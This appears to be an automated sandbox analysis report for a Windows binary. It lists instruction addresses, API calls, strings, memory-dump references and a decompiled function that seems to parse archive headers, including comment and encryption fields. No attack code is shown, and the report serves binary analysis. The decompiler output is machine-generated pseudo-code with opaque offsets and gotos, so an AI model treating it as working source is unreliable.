0x0111dcd2
0x0111dcd8
0x0111dcda
0x0111dce0
0x0111dce0
0x0111dce2
0x0111dce2
0x0111dce4
0x0111dced
0x0111dcf4
0x0111dcf7
0x0111dcf8
0x0111dcfa
0x0111dcfa
0x00000000
0x0111dd02
0x0111dccc
0x0111dcbf
0x0111dcb6
0x0111dbef
0x0111dbef
0x0111dbf5
0x0111dbf7
0x0111dc13
0x0111dc16
0x00000000
0x0111dc1c
0x0111dc1c
0x0111dc23
0x00000000
0x0111dc29
0x0111dc2f
0x0111dc31
0x0111dc37
0x0111dc37
0x0111dc39
0x0111dc39
0x0111dc3b
0x0111dc44
0x0111dc4b
0x0111dc4e
0x0111dc4f
0x0111dc51
0x0111dc51
0x0111dc59
0x0111dc59
0x0111dc5b
0x00000000
0x0111dc61
0x0111dc61
0x0111dc67
0x0111dc6a
0x0111df34
0x0111df37
0x0111df3d
0x0111df52
0x0111df57
0x0111df5a
0x0111dc70
0x0111dc70
0x0111dc77
0x00000000
0x0111dc77
0x0111dc6a
0x0111dc5b
0x0111dc23
0x0111dbf9
0x0111dbf9
0x0111dbfb
0x0111dc01
0x0111dc07
0x0111dc08
0x0111de85
0x0111de85
0x0111de8c
0x0111de8d
0x0111de8e
0x0111de93
0x0111de96
0x0111de96
0x0111de96
0x0111dbf7
0x0111de98
0x0111de98
0x0111de9a
0x0111df61
0x0111df68
0x0111df6f
0x0111df82
0x0111df88
0x0111df89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0111dea0
0x0111dea6
0x0111dea6
0x0111deac
0x0111deac
0x0111deb8
0x00000000
0x0111deb8
0x0111d6f5
0x0111d6f5
0x0111d6f7
0x0111d6fd
0x0111d6ff
0x0111d705
0x0111d707
0x0111da7e
0x0111da7e
0x0111da80
0x0111da86
0x0111da8d
0x0111da8f
0x0111daee
0x0111daf1
0x0111daf7
0x0111dafd
0x0111db03
0x0111db05
0x0111db0b
0x0111db0d
0x0111db0d
0x0111db0f
0x0111db0f
0x0111db11
0x0111db1a
0x0111db21
0x0111db24
0x0111db25
0x0111db27
0x0111db27
0x0111db2f
0x0111db31
0x0111db37
0x0111db3d
0x0111db40
0x00000000
0x0111db46
0x0111db46
0x0111db4d
0x0111db4d
0x0111db40
0x0111db31
0x0111db05
0x0111da91
0x0111da91
0x0111da93
0x0111da99
0x0111da9f
0x00000000
0x0111da9f
0x0111da8f
0x0111d70d
0x0111d70d
0x0111d70d
0x0111d710
0x0111d714
0x0111d714
0x0111d715
0x0111d727
0x0111d734
0x0111d743
0x0111d76d
0x0111d772
0x0111d778
0x0111d77b
0x0111d781
0x0111d784
0x0111d800
0x0111d807
0x0111d8cb
0x0111d8d1
0x0111d8d7
0x0111d8da
0x0111d8dc
0x0111d965
0x0111d8e2
0x0111d8e2
0x0111d8e8
0x0111d8e8
0x0111d8ee
0x0111d8f4
0x0111d8f6
0x0111d8f8
0x0111d8f8
0x0111d8fe
0x0111d904
0x0111d906
0x0111d90e
0x0111d90e
0x0111d914
0x0111d916
0x0111d918
0x0111d91e
0x0111d920
0x0111da37
0x0111da39
0x0111da3f
0x0111da3f
0x00000000
0x0111d926
0x0111d92c
0x0111d92c
0x0111d92e
0x0111d934
0x0111d937
0x0111d93e
0x0111d944
0x0111d946
0x0111d96d
0x0111d96f
0x0111d971
0x0111d973
0x0111d979
0x0111d97f
0x0111da19
0x0111da19
0x0111da1c
0x00000000
0x0111da22
0x0111da22
0x0111da28
0x00000000
0x0111da28
0x0111d985
0x0111d985
0x0111d985
0x0111d988
0x00000000
0x00000000
0x0111d98a
0x0111d98c
0x0111d98e
0x0111d997
0x0111d997
0x0111d999
0x0111d99f
0x0111d99f
0x0111d9ab
0x0111d9b6
0x0111d9b9
0x0111d9c6
0x0111d9c9
0x0111d9ca
0x0111d9cb
0x0111d9d1
0x0111d9d3
0x0111d9d9
0x0111d9df
0x00000000
0x00000000
0x00000000
0x00000000
0x0111d9e1
0x0111d9e1
0x0111d9e1
0x0111d9e3
0x00000000
0x00000000
0x0111d9e5
0x0111d9e8
0x0111daa2
0x0111daa2
0x0111daa4
0x0111daaa
0x0111dab0
0x0111dab1
0x00000000
0x0111d9ee
0x0111d9ee
0x0111d9f0
0x0111d9f2
0x0111d9f2
0x0111d9f2
0x0111d9fa
0x0111d9fd
0x0111d9fd
0x0111da03
0x0111da05
0x0111da07
0x0111da0e
0x0111da14
0x0111da16
0x00000000
0x0111da16
0x00000000
0x0111d9e8
0x00000000
0x0111d9e1
0x00000000
0x0111d985
0x0111d948
0x0111d948
0x0111d94a
0x0111d950
0x0111d957
0x0111d957
0x0111d95a
0x0111d95a
0x00000000
0x0111d94a
0x00000000
0x0111da2e
0x0111da2e
0x0111da2f
0x0111da2f
0x00000000
0x0111d934
0x0111d80d
0x0111d80d
0x0111d81f
0x0111d82e
0x0111d833
0x0111d836
0x0111d838
0x0111d854
0x0111d857
0x00000000
0x0111d85d
0x0111d85d
0x0111d864
0x00000000
0x0111d86a
0x0111d870
0x0111d872
0x0111d878
0x0111d878
0x0111d87a
0x0111d87a
0x0111d87c
0x0111d885
0x0111d88c
0x0111d88f
0x0111d890
0x0111d892
0x0111d892
0x00000000
0x0111d87a
0x0111d864
0x0111d83a
0x0111d83c
0x0111d842
0x0111d848
0x0111d849
0x00000000
0x0111d849
0x0111d838
0x0111d786
0x0111d786
0x0111d78c
0x0111d78e
0x0111d7a3
0x0111d7a6
0x00000000
0x0111d7ac
0x0111d7ac
0x0111d7b3
0x00000000
0x0111d7b9
0x0111d7bf
0x0111d7c1
0x0111d7c7
0x0111d7c7
0x0111d7c9
0x0111d7c9
0x0111d7cb
0x0111d7d4
0x0111d7db
0x0111d7de
0x0111d7df
0x0111d7e1
0x0111d7e1
0x0111d89a
0x0111d89a
0x0111d89c
0x00000000
0x0111d8a2
0x0111d8a2
0x0111d8a8
0x0111d8ab
0x0111d7ee
0x0111d7f5
0x00000000
0x0111d8b1
0x0111d8b3
0x0111d8b9
0x0111d8bf
0x0111d8c0
0x0111dab7
0x0111dab7
0x0111dabe
0x0111dabf
0x0111dac0
0x0111dac5
0x0111dac8
0x0111dac8
0x0111d8ab
0x0111d89c
0x0111d7b3
0x0111d790
0x0111d790
0x0111d792
0x0111d798
0x0111da42
0x0111da42
0x0111da43
0x0111da49
0x0111da49
0x0111da50
0x0111da51
0x0111da52
0x0111da57
0x0111da5a
0x0111da5a
0x0111da5a
0x0111d78e
0x0111da5c
0x0111da5c
0x0111da5e
0x0111dacc
0x0111dad3
0x0111dad3
0x0111dad3
0x0111dada
0x0111dadc
0x0111dae2
0x0111dae3
0x0111df8f
0x0111df8f
0x0111df90
0x0111df91
0x0111df96
0x00000000
0x00000000
0x00000000
0x00000000
0x0111da60
0x0111da66
0x0111da66
0x0111da6c
0x0111da6c
0x0111da78
0x00000000
0x0111da78
0x0111d707
0x0111df99
0x0111df99
0x0111df9f
0x0111dfa1
0x0111dfa7
0x0111dfad
0x0111dfaf
0x0111dfb1
0x0111dfb3
0x0111dfb3
0x0111dfb5
0x0111dfb5
0x0111dfbe
0x0111dfbf
0x0111dfc3
0x0111dfca
0x0111dfcd
0x0111dfce
0x0111dfd0
0x0111dfd0
0x0111dfd4
0x0111dfda
0x0111dfdc
0x0111dfe2
0x0111dfe4
0x0111dfea
0x0111dfed
0x0111e000
0x0111e003
0x0111e009
0x0111e01e
0x0111e023
0x0111dfef
0x0111dff1
0x0111dff8
0x0111dff8
0x0111dfed
0x0111e026
0x0111e026
0x0111e036
0x0111e03f
0x0111e040
0x0111e042
0x0111e0d9
0x0111e0db
0x0111e0e6
0x0111e0e6
0x0111e0e8
0x0111e0eb
0x0111e0ed
0x00000000
0x0111e0dd
0x0111e0e3
0x0111e0e3
0x0111e048
0x0111e048
0x0111e04e
0x0111e051
0x0111e057
0x0111e05a
0x0111e060
0x0111e062
0x0111e068
0x0111e06a
0x0111e06c
0x0111e06c
0x0111e06e
0x0111e06e
0x0111e07b
0x0111e082
0x0111e085
0x0111e086
0x0111e088
0x0111e089
0x0111e089
0x0111e08d
0x0111e093
0x0111e095
0x0111e097
0x0111e09d
0x0111e0a0
0x0111e0b4
0x0111e0ba
0x0111e0cf
0x0111e0d4
0x0111e0a2
0x0111e0a2
0x0111e0a9
0x0111e0a9
0x0111e0a0
0x0111e095
0x0111e0f3
0x0111e0f3
0x0111e0f3
0x0111e0ff
0x0111e102
0x0111e108
0x0111e10a
0x0111e10c
0x0111e112
0x0111e114
0x0111e114
0x0111e114
0x0111e112
0x0111e119
0x0111e11a
0x0111e11c
0x0111e11e
0x0111e11e
0x0111e120
0x0111e126
0x0111e12c
0x0111e12e
0x0111e134
0x0111e134
0x0111e13a
0x0111e13c
0x00000000
0x00000000
0x0111e142
0x0111e144
0x0111e146
0x0111e146
0x0111e148
0x0111e148
0x0111e158
0x0111e15f
0x0111e162
0x0111e163
0x0111e165
0x0111e165
0x0111e169
0x0111e16f
0x0111e171
0x0111e173
0x0111e179
0x0111e17c
0x0111e18d
0x0111e190
0x0111e196
0x0111e1ab
0x0111e1b0
0x0111e17e
0x0111e17e
0x0111e185
0x0111e185
0x0111e17c
0x0111e1c1
0x0111e1d0
0x0111e1d1
0x0111e1d1
0x0111e1d3
0x0111e1d5
0x0111e1d5
0x0111e1db
0x0111e1de
0x0111e1e0
0x0111e1e2
0x0111e1e2
0x0111e1e5
0x0111e1e6
0x0111e1e6
0x0111e1eb
0x0111e1ee
0x0111e1f2
0x0111e1f2
0x0111e1f3
0x0111e1f5
0x0111e1fb
0x0111e201
0x00000000
0x00000000
0x00000000
0x0111e201
0x0111e134
0x0111e207
0x0111e207
0x00000000
0x0111e207
0x0111cf8c
0x0111cf83
0x0111cf7a
0x0111cf31
0x0111cf35
0x0111cf3d
0x00000000
0x0111cf3f
0x0111cf45
0x0111cf4a
0x0111e226
0x0111e226
0x0111e229
0x0111e234
0x0111e25f
0x0111e260
0x0111e261
0x0111e262
0x0111e263
0x0111e264
0x0111e269
0x0111e271
0x0111e276
0x0111e27c
0x0111e281
0x0111e282
0x0111e282
0x0111e282
0x0111e288
0x0111e289
0x0111e289
0x0111e28c
0x0111e292
0x00000000
0x00000000
0x0111e294
0x0111e299
0x0111e29c
0x0111e29e
0x0111e2a6
0x0111e2a8
0x0111e2aa
0x0111e2af
0x0111e2b2
0x0111e2b8
0x0111e2bb
0x0111e2bd
0x0111e2bd
0x0111e2bd
0x0111e2bd
0x0111e2bb
0x0111e2c0
0x0111e2cc
0x0111e2d2
0x0111e2da
0x0111e2df
0x0111e2e0
0x0111e2e5
0x0111e2e5
0x0111e2e5
0x0111e2e5
0x0111e2e9
0x0111e2e9
0x0111e2ec
0x0111e2f3
0x0111e300
0x0111e236
0x0111e236
0x0111e236
0x0111e240
0x0111e249
0x0111e24e
0x0111e25c
0x0111e25c
0x0111e234
0x0111cf3d

APIs

__floor_pentium4.LIBCMT ref: 0111D014
DeleteCriticalSection.KERNEL32(?,0112ACA0,00000010,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 0111E2CC
_free.LIBCMT ref: 0111E2DA

Strings

1#QNAN, xrefs: 0111E21A
1#IND, xrefs: 0111E20C
1#INF, xrefs: 0111E221
1#SNAN, xrefs: 0111E213

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalDeleteSection__floor_pentium4_free
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 3598519632-2761157908
Opcode ID: 90db25b26474ca27a1f689ec6b4404f00a439a904e1ea762c108442c05471e94
Instruction ID: d37dffc13871f8bfa78d5dac0d2540d93c7d431db9aa328bfcb9ae0c71dc982b
Opcode Fuzzy Hash: 90db25b26474ca27a1f689ec6b4404f00a439a904e1ea762c108442c05471e94
Instruction Fuzzy Hash: 39C25A71E086298FDF29CE68ED447EAB7B5EB44304F1541EAD80DE7244E774AE818F41

Uniqueness

Uniqueness Score: -1.00%

Function 010F326D, Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E010F326D(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				signed int _t242;
				void* _t248;
				unsigned int _t250;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				void* _t257;
				char _t270;
				signed int _t289;
				unsigned int _t290;
				intOrPtr _t291;
				signed int _t292;
				signed int _t295;
				char _t302;
				signed char _t304;
				signed int _t320;
				signed int _t331;
				signed int _t335;
				signed int _t350;
				signed char _t352;
				unsigned int _t362;
				void* _t379;
				void* _t381;
				void* _t382;
				void* _t393;
				intOrPtr* _t395;
				intOrPtr* _t397;
				signed int _t410;
				signed int _t420;
				char _t432;
				signed int _t433;
				signed int _t438;
				signed int _t442;
				intOrPtr _t450;
				unsigned int _t456;
				unsigned int _t459;
				signed int _t463;
				signed int _t471;
				signed int _t480;
				signed int _t485;
				signed int _t500;
				intOrPtr _t501;
				signed int _t502;
				signed char _t503;
				unsigned int _t504;
				void* _t511;
				void* _t519;
				signed int _t522;
				void* _t523;
				signed int _t533;
				unsigned int _t536;
				void* _t541;
				intOrPtr _t546;
				void* _t547;
				void* _t548;
				void* _t549;
				intOrPtr _t559;

				_t397 = __ecx;
				_t549 = _t548 - 0x68;
				E0110E0E4(0x1121b41, _t547);
				E0110E1C0();
				_t395 = _t397;
				E010FC4A5(_t547 + 0x30, _t395);
				 *(_t547 + 0x60) = 0;
				 *((intOrPtr*)(_t547 - 4)) = 0;
				if( *((intOrPtr*)(_t395 + 0x6cbc)) == 0) {
					L15:
					 *((char*)(_t547 + 0x6a)) = 0;
					L16:
					_push(7);
					if(E010FC6B0() >= 7) {
						 *(_t395 + 0x21f4) = 0;
						_t511 = _t395 + 0x21e4;
						 *_t511 = E010FC520(_t547 + 0x30);
						_t533 = E010FC68C(_t547 + 0x30, 4);
						_t242 = E010FC620(_t500);
						__eflags = _t242 | _t500;
						if((_t242 | _t500) == 0) {
							L85:
							E010F203A(_t395);
							L86:
							E010F15D1(_t547 + 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t547 - 0xc));
							return  *(_t547 + 0x60);
						}
						__eflags = _t533;
						if(_t533 == 0) {
							goto L85;
						}
						_t42 = _t533 - 3; // -3
						_t536 = _t533 + 4 + _t242;
						_t410 = _t42 + _t242;
						__eflags = _t410;
						 *(_t547 + 0x64) = _t536;
						if(_t410 < 0) {
							goto L85;
						}
						__eflags = _t536 - 7;
						if(_t536 < 7) {
							goto L85;
						}
						_push(_t410);
						E010FC6B0();
						__eflags =  *(_t547 + 0x48) - _t536;
						if( *(_t547 + 0x48) < _t536) {
							goto L17;
						}
						_t248 = E010FC600(_t547 + 0x30);
						 *(_t395 + 0x21e8) = E010FC620(_t500);
						_t250 = E010FC620(_t500);
						 *(_t395 + 0x21ec) = _t250;
						__eflags =  *_t511 - _t248;
						 *(_t395 + 0x21f4) = _t250 >> 0x00000002 & 0x00000001;
						 *(_t395 + 0x21f0) =  *(_t547 + 0x64);
						_t254 =  *(_t395 + 0x21e8);
						 *(_t395 + 0x21dc) = _t254;
						_t255 = _t254 & 0xffffff00 |  *_t511 != _t248;
						 *(_t547 + 0x6b) = _t255;
						__eflags = _t255;
						if(_t255 == 0) {
							L26:
							_t256 = 0;
							__eflags =  *(_t395 + 0x21ec) & 0x00000001;
							 *(_t547 + 0x58) = 0;
							 *(_t547 + 0x54) = 0;
							if(( *(_t395 + 0x21ec) & 0x00000001) == 0) {
								L30:
								__eflags =  *(_t395 + 0x21ec) & 0x00000002;
								_t538 = _t256;
								 *(_t547 + 0x64) = _t256;
								 *(_t547 + 0x5c) = _t256;
								if(( *(_t395 + 0x21ec) & 0x00000002) != 0) {
									_t362 = E010FC620(_t500);
									_t538 = _t362;
									 *(_t547 + 0x64) = _t362;
									 *(_t547 + 0x5c) = _t500;
								}
								_t257 = E010F1954(_t395,  *(_t395 + 0x21f0));
								_t501 = 0;
								asm("adc eax, edx");
								 *((intOrPtr*)(_t395 + 0x6ca8)) = E010F3E3C( *((intOrPtr*)(_t395 + 0x6ca0)) + _t257,  *((intOrPtr*)(_t395 + 0x6ca4)), _t538,  *(_t547 + 0x5c), _t501, _t501);
								 *((intOrPtr*)(_t395 + 0x6cac)) = _t501;
								_t502 =  *(_t395 + 0x21e8);
								__eflags = _t502 - 1;
								if(__eflags == 0) {
									E010FAC0C(_t395 + 0x2208);
									_t420 = 5;
									memcpy(_t395 + 0x2208, _t511, _t420 << 2);
									_t503 = E010FC620(_t502);
									 *(_t395 + 0x6cb5) = _t503 & 1;
									 *(_t395 + 0x6cb4) = _t503 >> 0x00000002 & 1;
									 *(_t395 + 0x6cb7) = _t503 >> 0x00000004 & 1;
									_t432 = 1;
									 *((char*)(_t395 + 0x6cba)) = 1;
									 *(_t395 + 0x6cbb) = _t503 >> 0x00000003 & 1;
									_t270 = 0;
									 *((char*)(_t395 + 0x6cb8)) = 0;
									__eflags = _t503 & 0x00000002;
									if((_t503 & 0x00000002) == 0) {
										 *((intOrPtr*)(_t395 + 0x6cd8)) = 0;
									} else {
										 *((intOrPtr*)(_t395 + 0x6cd8)) = E010FC620(_t503);
										_t270 = 0;
										_t432 = 1;
									}
									__eflags =  *(_t395 + 0x6cb5);
									if( *(_t395 + 0x6cb5) == 0) {
										L81:
										_t432 = _t270;
										goto L82;
									} else {
										__eflags =  *((intOrPtr*)(_t395 + 0x6cd8)) - _t270;
										if( *((intOrPtr*)(_t395 + 0x6cd8)) == _t270) {
											L82:
											 *((char*)(_t395 + 0x6cb9)) = _t432;
											_t433 =  *(_t547 + 0x58);
											__eflags = _t433 |  *(_t547 + 0x54);
											if((_t433 |  *(_t547 + 0x54)) != 0) {
												E010F214E(_t395, _t547 + 0x30, _t433, _t395 + 0x2208);
											}
											L84:
											 *(_t547 + 0x60) =  *(_t547 + 0x48);
											goto L86;
										}
										goto L81;
									}
								}
								if(__eflags <= 0) {
									goto L84;
								}
								__eflags = _t502 - 3;
								if(_t502 <= 3) {
									__eflags = _t502 - 2;
									_t120 = (0 | _t502 != 0x00000002) - 1; // -1
									_t519 = (_t120 & 0xffffdcb0) + 0x45d0 + _t395;
									 *(_t547 + 0x2c) = _t519;
									E010FAB72(_t519, 0);
									_t438 = 5;
									memcpy(_t519, _t395 + 0x21e4, _t438 << 2);
									_t541 =  *(_t547 + 0x2c);
									 *(_t547 + 0x60) =  *(_t395 + 0x21e8);
									 *(_t541 + 0x1058) =  *(_t547 + 0x64);
									 *((char*)(_t541 + 0x10f9)) = 1;
									 *(_t541 + 0x105c) =  *(_t547 + 0x5c);
									 *(_t541 + 0x1094) = E010FC620(_t502);
									 *(_t541 + 0x1060) = E010FC620(_t502);
									_t289 =  *(_t541 + 0x1094) >> 0x00000003 & 0x00000001;
									__eflags = _t289;
									 *(_t541 + 0x1064) = _t502;
									 *(_t541 + 0x109a) = _t289;
									if(_t289 != 0) {
										 *(_t541 + 0x1060) = 0x7fffffff;
										 *(_t541 + 0x1064) = 0x7fffffff;
									}
									_t442 =  *(_t541 + 0x105c);
									_t522 =  *(_t541 + 0x1064);
									_t290 =  *(_t541 + 0x1058);
									_t504 =  *(_t541 + 0x1060);
									__eflags = _t442 - _t522;
									if(__eflags < 0) {
										L51:
										_t290 = _t504;
										_t442 = _t522;
										goto L52;
									} else {
										if(__eflags > 0) {
											L52:
											 *(_t541 + 0x106c) = _t442;
											 *(_t541 + 0x1068) = _t290;
											_t291 = E010FC620(_t504);
											__eflags =  *(_t541 + 0x1094) & 0x00000002;
											 *((intOrPtr*)(_t541 + 0x24)) = _t291;
											if(( *(_t541 + 0x1094) & 0x00000002) != 0) {
												E01100D1D(_t541 + 0x1040, _t504, E010FC520(_t547 + 0x30), 0);
											}
											 *(_t541 + 0x1070) =  *(_t541 + 0x1070) & 0x00000000;
											__eflags =  *(_t541 + 0x1094) & 0x00000004;
											if(( *(_t541 + 0x1094) & 0x00000004) != 0) {
												 *(_t541 + 0x1070) = 2;
												 *((intOrPtr*)(_t541 + 0x1074)) = E010FC520(_t547 + 0x30);
											}
											 *(_t541 + 0x1100) =  *(_t541 + 0x1100) & 0x00000000;
											_t292 = E010FC620(_t504);
											 *(_t547 + 0x64) = _t292;
											 *(_t541 + 0x20) = _t292 >> 0x00000007 & 0x00000007;
											_t450 = (_t292 & 0x0000003f) + 0x32;
											 *((intOrPtr*)(_t541 + 0x1c)) = _t450;
											__eflags = _t450 - 0x32;
											if(_t450 != 0x32) {
												 *((intOrPtr*)(_t541 + 0x1c)) = 0x270f;
											}
											 *((char*)(_t541 + 0x18)) = E010FC620(_t504);
											_t523 = E010FC620(_t504);
											 *(_t541 + 0x10fc) = 2;
											_t295 =  *((intOrPtr*)(_t541 + 0x18));
											 *(_t541 + 0x10f8) =  *(_t395 + 0x21ec) >> 0x00000006 & 1;
											__eflags = _t295 - 1;
											if(_t295 != 1) {
												__eflags = _t295;
												if(_t295 == 0) {
													_t177 = _t541 + 0x10fc;
													 *_t177 =  *(_t541 + 0x10fc) & 0x00000000;
													__eflags =  *_t177;
												}
											} else {
												 *(_t541 + 0x10fc) = 1;
											}
											_t456 =  *(_t541 + 8);
											 *(_t541 + 0x1098) = _t456 >> 0x00000003 & 1;
											 *(_t541 + 0x10fa) = _t456 >> 0x00000005 & 1;
											__eflags =  *(_t547 + 0x60) - 2;
											_t459 =  *(_t547 + 0x64);
											 *(_t541 + 0x1099) = _t456 >> 0x00000004 & 1;
											if( *(_t547 + 0x60) != 2) {
												L65:
												_t302 = 0;
												__eflags = 0;
												goto L66;
											} else {
												__eflags = _t459 & 0x00000040;
												if((_t459 & 0x00000040) == 0) {
													goto L65;
												}
												_t302 = 1;
												L66:
												 *((char*)(_t541 + 0x10f0)) = _t302;
												_t304 =  *(_t541 + 0x1094) & 1;
												 *(_t541 + 0x10f1) = _t304;
												asm("sbb eax, eax");
												 *(_t541 + 0x10f4) =  !( ~(_t304 & 0x000000ff)) & 0x00020000 << (_t459 >> 0x0000000a & 0x0000000f);
												asm("sbb eax, eax");
												 *(_t541 + 0x109c) =  ~( *(_t541 + 0x109b) & 0x000000ff) & 0x00000005;
												__eflags = _t523 - 0x1fff;
												if(_t523 >= 0x1fff) {
													_t523 = 0x1fff;
												}
												E010FC582(_t547 + 0x30, _t547 - 0x2074, _t523);
												 *((char*)(_t547 + _t523 - 0x2074)) = 0;
												_push(0x800);
												_t524 = _t541 + 0x28;
												_push(_t541 + 0x28);
												_push(_t547 - 0x2074);
												E0110138C();
												_t463 =  *(_t547 + 0x58);
												__eflags = _t463 |  *(_t547 + 0x54);
												if((_t463 |  *(_t547 + 0x54)) != 0) {
													E010F214E(_t395, _t547 + 0x30, _t463, _t541);
												}
												_t319 =  *(_t547 + 0x60);
												__eflags =  *(_t547 + 0x60) - 2;
												if( *(_t547 + 0x60) != 2) {
													L72:
													_t320 = E01113429(_t319, _t524, L"CMT");
													__eflags = _t320;
													if(_t320 == 0) {
														 *((char*)(_t395 + 0x6cb6)) = 1;
													}
													goto L74;
												} else {
													E010F207F(_t395, _t541);
													_t319 =  *(_t547 + 0x60);
													__eflags =  *(_t547 + 0x60) - 2;
													if( *(_t547 + 0x60) == 2) {
														L74:
														__eflags =  *(_t547 + 0x6b);
														if(__eflags != 0) {
															E010F7032(__eflags, 0x1c, _t395 + 0x1e, _t524);
														}
														goto L84;
													}
													goto L72;
												}
											}
										}
										__eflags = _t290 - _t504;
										if(_t290 > _t504) {
											goto L52;
										}
										goto L51;
									}
								}
								__eflags = _t502 - 4;
								if(_t502 == 4) {
									_t471 = 5;
									memcpy(_t395 + 0x2248, _t395 + 0x21e4, _t471 << 2);
									_t331 = E010FC620(_t502);
									__eflags = _t331;
									if(_t331 == 0) {
										 *(_t395 + 0x225c) = E010FC620(_t502) & 0x00000001;
										_t335 = E010FC4D3(_t547 + 0x30) & 0x000000ff;
										 *(_t395 + 0x2260) = _t335;
										__eflags = _t335 - 0x18;
										if(_t335 <= 0x18) {
											E010FC582(_t547 + 0x30, _t395 + 0x2264, 0x10);
											__eflags =  *(_t395 + 0x225c);
											if( *(_t395 + 0x225c) != 0) {
												E010FC582(_t547 + 0x30, _t395 + 0x2274, 8);
												E010FC582(_t547 + 0x30, _t547 + 0x64, 4);
												E010FF807(_t547 - 0x74);
												E010FF84D(_t547 - 0x74, _t395 + 0x2274, 8);
												_push(_t547 + 8);
												E010FF716(_t547 - 0x74);
												_t350 = E0110FC4A(_t547 + 0x64, _t547 + 8, 4);
												asm("sbb al, al");
												_t352 =  ~_t350 + 1;
												__eflags = _t352;
												 *(_t395 + 0x225c) = _t352;
											}
											 *((char*)(_t395 + 0x6cbc)) = 1;
											goto L84;
										}
										_push(_t335);
										_push(L"hc%u");
										L40:
										_push(0x14);
										_push(_t547);
										E010F3FD6();
										E010F3F81(_t395, _t395 + 0x1e, _t547);
										goto L86;
									}
									_push(_t331);
									_push(L"h%u");
									goto L40;
								}
								__eflags = _t502 - 5;
								if(_t502 == 5) {
									_t480 = _t502;
									memcpy(_t395 + 0x4590, _t395 + 0x21e4, _t480 << 2);
									 *(_t395 + 0x45ac) = E010FC620(_t502) & 0x00000001;
									 *((short*)(_t395 + 0x45ae)) = 0;
									 *((char*)(_t395 + 0x45ad)) = 0;
								}
								goto L84;
							}
							_t485 = E010FC620(_t500);
							 *(_t547 + 0x54) = _t500;
							_t256 = 0;
							 *(_t547 + 0x58) = _t485;
							__eflags = _t500;
							if(__eflags < 0) {
								goto L30;
							}
							if(__eflags > 0) {
								goto L85;
							}
							__eflags = _t485 -  *(_t395 + 0x21f0);
							if(_t485 >=  *(_t395 + 0x21f0)) {
								goto L85;
							}
							goto L30;
						}
						E010F203A(_t395);
						 *((char*)(_t395 + 0x6cc4)) = 1;
						E010F6F5B(0x112ff50, 3);
						__eflags =  *((char*)(_t547 + 0x6a));
						if(__eflags == 0) {
							goto L26;
						} else {
							E010F7032(__eflags, 4, _t395 + 0x1e, _t395 + 0x1e);
							 *((char*)(_t395 + 0x6cc5)) = 1;
							goto L86;
						}
					}
					L17:
					E010F3F40(_t395, _t500);
					goto L86;
				}
				_t500 =  *((intOrPtr*)(_t395 + 0x6cc0)) + 8;
				asm("adc eax, ecx");
				_t559 =  *((intOrPtr*)(_t395 + 0x6ca4));
				if(_t559 < 0 || _t559 <= 0 &&  *((intOrPtr*)(_t395 + 0x6ca0)) <= _t500) {
					goto L15;
				} else {
					 *((char*)(_t547 + 0x6a)) = 1;
					 *0x1122260(_t547 + 0x18, 0x10);
					if( *((intOrPtr*)( *((intOrPtr*)( *_t395 + 0xc))))() != 0x10) {
						goto L17;
					}
					if( *((char*)( *((intOrPtr*)(_t395 + 0x21bc)) + 0x5124)) != 0) {
						L7:
						 *(_t547 + 0x6b) = 1;
						L8:
						E010F3DC9(_t395);
						_t531 = _t395 + 0x2264;
						_t546 = _t395 + 0x1024;
						E010F6219(_t546, 0, 5,  *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024, _t395 + 0x2264, _t547 + 0x18,  *(_t395 + 0x2260), 0, _t547 + 0x28);
						if( *(_t395 + 0x225c) == 0) {
							L13:
							 *((intOrPtr*)(_t547 + 0x50)) = _t546;
							goto L16;
						} else {
							_t379 = _t395 + 0x2274;
							while(1) {
								_t381 = E0110FC4A(_t547 + 0x28, _t379, 8);
								_t549 = _t549 + 0xc;
								if(_t381 == 0) {
									goto L13;
								}
								_t566 =  *(_t547 + 0x6b);
								_t382 = _t395 + 0x1e;
								_push(_t382);
								_push(_t382);
								if( *(_t547 + 0x6b) != 0) {
									_push(6);
									E010F7032(__eflags);
									 *((char*)(_t395 + 0x6cc5)) = 1;
									E010F6F5B(0x112ff50, 0xb);
									goto L86;
								}
								_push(0x7d);
								E010F7032(_t566);
								E010FEA67( *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024);
								E010F3DC9(_t395);
								E010F6219(_t546, 0, 5,  *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024, _t531, _t547 + 0x18,  *(_t395 + 0x2260), 0, _t547 + 0x28);
								_t379 = _t395 + 0x2274;
								if( *(_t395 + 0x225c) != 0) {
									continue;
								}
								goto L13;
							}
							goto L13;
						}
					}
					_t393 = E011012B2();
					 *(_t547 + 0x6b) = 0;
					if(_t393 == 0) {
						goto L8;
					}
					goto L7;
				}
			}

0x010f326d
0x010f326e
0x010f3276
0x010f3280
0x010f3287
0x010f328e
0x010f3295
0x010f3298
0x010f32a1
0x010f33f4
0x010f33f4
0x010f33f7
0x010f33f7
0x010f3404
0x010f3415
0x010f341c
0x010f342c
0x010f3436
0x010f3438
0x010f343f
0x010f3441
0x010f3a71
0x010f3a73
0x010f3a78
0x010f3a7b
0x010f3a89
0x010f3a94
0x010f3a94
0x010f3447
0x010f3449
0x00000000
0x00000000
0x010f344f
0x010f3455
0x010f3457
0x010f3457
0x010f3459
0x010f345c
0x00000000
0x00000000
0x010f3462
0x010f3465
0x00000000
0x00000000
0x010f346b
0x010f346f
0x010f3474
0x010f3477
0x00000000
0x00000000
0x010f347c
0x010f348e
0x010f3494
0x010f3499
0x010f34a4
0x010f34a6
0x010f34af
0x010f34b5
